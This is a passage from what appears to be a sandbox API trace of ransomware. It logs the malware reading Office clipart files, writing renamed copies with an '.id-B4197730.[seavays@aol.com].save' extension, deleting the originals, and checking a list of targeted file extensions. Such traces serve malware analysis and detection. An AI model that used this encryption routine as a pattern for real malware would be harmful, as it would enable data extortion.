CloseHandle (hObject=0x394) returned 1 [0063.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 0x220 [0063.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0063.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0063.973] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.973] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0063.974] GetLastError () returned 0x0 [0063.974] ReadFile (in: hFile=0x394, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x9bc, lpOverlapped=0x0) returned 1 [0063.975] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x9c0, lpOverlapped=0x0) returned 1 [0063.976] ReadFile (in: hFile=0x394, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.976] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0063.976] SetEndOfFile (hFile=0x384) returned 1 [0063.977] CloseHandle (hObject=0x384) returned 1 [0063.977] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.977] SetEndOfFile (hFile=0x394) returned 1 [0063.978] CloseHandle (hObject=0x394) returned 1 [0063.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0063.979] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04323_.wmf")) returned 1 [0063.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0063.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0063.979] lstrlenW (lpString=".doc") returned 4 [0063.979] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.979] lstrlenW (lpString=".docx") returned 5 [0063.979] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.979] lstrlenW (lpString=".pdf") returned 4 [0063.979] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.979] lstrlenW (lpString=".xls") returned 4 [0063.979] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.979] lstrlenW (lpString=".xlsx") returned 5 [0063.979] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.979] lstrlenW (lpString=".ppt") returned 4 [0063.979] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0063.979] lstrlenW (lpString=".zip") returned 4 [0063.979] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.979] lstrlenW (lpString=".rar") returned 4 [0063.980] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.980] lstrlenW (lpString=".bz2") returned 4 [0063.980] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.980] lstrlenW (lpString=".7z") returned 3 [0063.980] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0063.980] lstrlenW (lpString=".dbf") returned 4 [0063.980] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0063.980] lstrlenW (lpString=".1cd") returned 4 [0063.980] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0063.980] lstrlenW (lpString=".jpg") returned 4 [0063.980] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0063.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0063.980] lstrlenW (lpString=".doc") returned 4 [0063.980] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.980] lstrlenW (lpString=".docx") returned 5 [0063.980] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.980] lstrlenW (lpString=".pdf") returned 4 [0063.980] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.980] lstrlenW (lpString=".xls") returned 4 [0063.980] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.980] lstrlenW (lpString=".xlsx") returned 5 [0063.981] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.981] lstrlenW (lpString=".ppt") returned 4 [0063.981] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0063.981] lstrlenW (lpString=".zip") returned 4 [0063.981] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.981] lstrlenW (lpString=".rar") returned 4 [0063.981] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.981] lstrlenW (lpString=".bz2") returned 4 [0063.981] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.981] lstrlenW (lpString=".7z") returned 3 [0063.981] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0063.981] lstrlenW (lpString=".dbf") returned 4 [0063.981] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0063.981] lstrlenW (lpString=".1cd") returned 4 [0063.981] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04323_.WMF") returned 68 [0063.981] lstrlenW (lpString=".jpg") returned 4 [0063.981] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.981] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0063.982] lstrlenW (lpString="AN04326_.WMF") returned 12 [0063.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0063.982] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=3348) returned 1 [0063.982] CloseHandle (hObject=0x394) returned 1 [0063.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 0x220 [0063.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0063.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0063.983] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.983] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0063.983] GetLastError () returned 0x0 [0063.983] ReadFile (in: hFile=0x394, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0xd14, lpOverlapped=0x0) returned 1 [0063.988] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xd20, lpOverlapped=0x0) returned 1 [0063.989] ReadFile (in: hFile=0x394, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.989] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0063.989] SetEndOfFile (hFile=0x384) returned 1 [0063.989] CloseHandle (hObject=0x384) returned 1 [0063.990] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.990] SetEndOfFile (hFile=0x394) returned 1 [0063.991] CloseHandle (hObject=0x394) returned 1 [0063.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0063.991] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04326_.wmf")) returned 1 [0063.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0063.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0063.992] lstrlenW (lpString=".doc") returned 4 [0063.992] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.992] lstrlenW (lpString=".docx") returned 5 [0063.992] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.992] lstrlenW (lpString=".pdf") returned 4 [0063.992] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.992] lstrlenW (lpString=".xls") returned 4 [0063.992] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.992] lstrlenW (lpString=".xlsx") returned 5 [0063.992] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.992] lstrlenW (lpString=".ppt") returned 4 [0063.992] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.992] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0063.992] lstrlenW (lpString=".zip") returned 4 [0063.992] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.992] lstrlenW (lpString=".rar") returned 4 [0063.992] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.993] lstrlenW (lpString=".bz2") returned 4 [0063.993] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.993] lstrlenW (lpString=".7z") returned 3 [0063.993] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0063.993] lstrlenW (lpString=".dbf") returned 4 [0063.993] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0063.993] lstrlenW (lpString=".1cd") returned 4 [0063.993] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0063.993] lstrlenW (lpString=".jpg") returned 4 [0063.993] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0063.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0063.993] lstrlenW (lpString=".doc") returned 4 [0063.993] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.993] lstrlenW (lpString=".docx") returned 5 [0063.993] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.993] lstrlenW (lpString=".pdf") returned 4 [0063.993] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.993] lstrlenW (lpString=".xls") returned 4 [0063.993] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.993] lstrlenW (lpString=".xlsx") returned 5 [0063.993] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.993] lstrlenW (lpString=".ppt") returned 4 [0063.993] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.993] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0063.993] lstrlenW (lpString=".zip") returned 4 [0063.993] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.994] lstrlenW (lpString=".rar") returned 4 [0063.994] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.994] lstrlenW (lpString=".bz2") returned 4 [0063.994] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.994] lstrlenW (lpString=".7z") returned 3 [0063.994] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0063.994] lstrlenW (lpString=".dbf") returned 4 [0063.994] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0063.994] lstrlenW (lpString=".1cd") returned 4 [0063.994] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04326_.WMF") returned 68 [0063.994] lstrlenW (lpString=".jpg") returned 4 [0063.994] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.994] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0063.994] lstrlenW (lpString="AN04332_.WMF") returned 12 [0063.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0063.995] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=4296) returned 1 [0063.995] CloseHandle (hObject=0x394) returned 1 [0063.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 0x220 [0063.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0063.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0063.995] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.995] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0063.995] GetLastError () returned 0x0 [0063.995] ReadFile (in: hFile=0x394, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x10c8, lpOverlapped=0x0) returned 1 [0063.997] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x10d0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x10d0, lpOverlapped=0x0) returned 1 [0063.998] ReadFile (in: hFile=0x394, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.998] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0063.998] SetEndOfFile (hFile=0x384) returned 1 [0063.998] CloseHandle (hObject=0x384) returned 1 [0064.349] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0064.349] SetEndOfFile (hFile=0x394) returned 1 [0064.391] CloseHandle (hObject=0x394) returned 1 [0064.391] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0064.392] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04332_.wmf")) returned 1 [0064.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0064.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0064.392] lstrlenW (lpString=".doc") returned 4 [0064.392] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.392] lstrlenW (lpString=".docx") returned 5 [0064.392] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.392] lstrlenW (lpString=".pdf") returned 4 [0064.392] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.392] lstrlenW (lpString=".xls") returned 4 [0064.392] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.392] lstrlenW (lpString=".xlsx") returned 5 [0064.392] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.392] lstrlenW (lpString=".ppt") returned 4 [0064.392] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.392] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0064.392] lstrlenW (lpString=".zip") returned 4 [0064.393] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.393] lstrlenW (lpString=".rar") returned 4 [0064.393] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.393] lstrlenW (lpString=".bz2") returned 4 [0064.393] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.393] lstrlenW (lpString=".7z") returned 3 [0064.393] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0064.393] lstrlenW (lpString=".dbf") returned 4 [0064.393] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0064.393] lstrlenW (lpString=".1cd") returned 4 [0064.393] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0064.393] lstrlenW (lpString=".jpg") returned 4 [0064.393] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0064.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0064.393] lstrlenW (lpString=".doc") returned 4 [0064.393] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.393] lstrlenW (lpString=".docx") returned 5 [0064.393] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.393] lstrlenW (lpString=".pdf") returned 4 [0064.393] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.393] lstrlenW (lpString=".xls") returned 4 [0064.393] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.393] lstrlenW (lpString=".xlsx") returned 5 [0064.393] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.393] lstrlenW (lpString=".ppt") returned 4 [0064.394] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0064.394] lstrlenW (lpString=".zip") returned 4 [0064.394] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.394] lstrlenW (lpString=".rar") returned 4 [0064.394] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.394] lstrlenW (lpString=".bz2") returned 4 [0064.394] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.394] lstrlenW (lpString=".7z") returned 3 [0064.394] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0064.394] lstrlenW (lpString=".dbf") returned 4 [0064.394] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0064.394] lstrlenW (lpString=".1cd") returned 4 [0064.394] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 68 [0064.394] lstrlenW (lpString=".jpg") returned 4 [0064.394] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.394] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0064.394] lstrlenW (lpString="AN04355_.WMF") returned 12 [0064.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0064.395] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=3228) returned 1 [0064.395] CloseHandle (hObject=0x394) returned 1 [0064.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf")) returned 0x220 [0064.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04355_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0064.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft 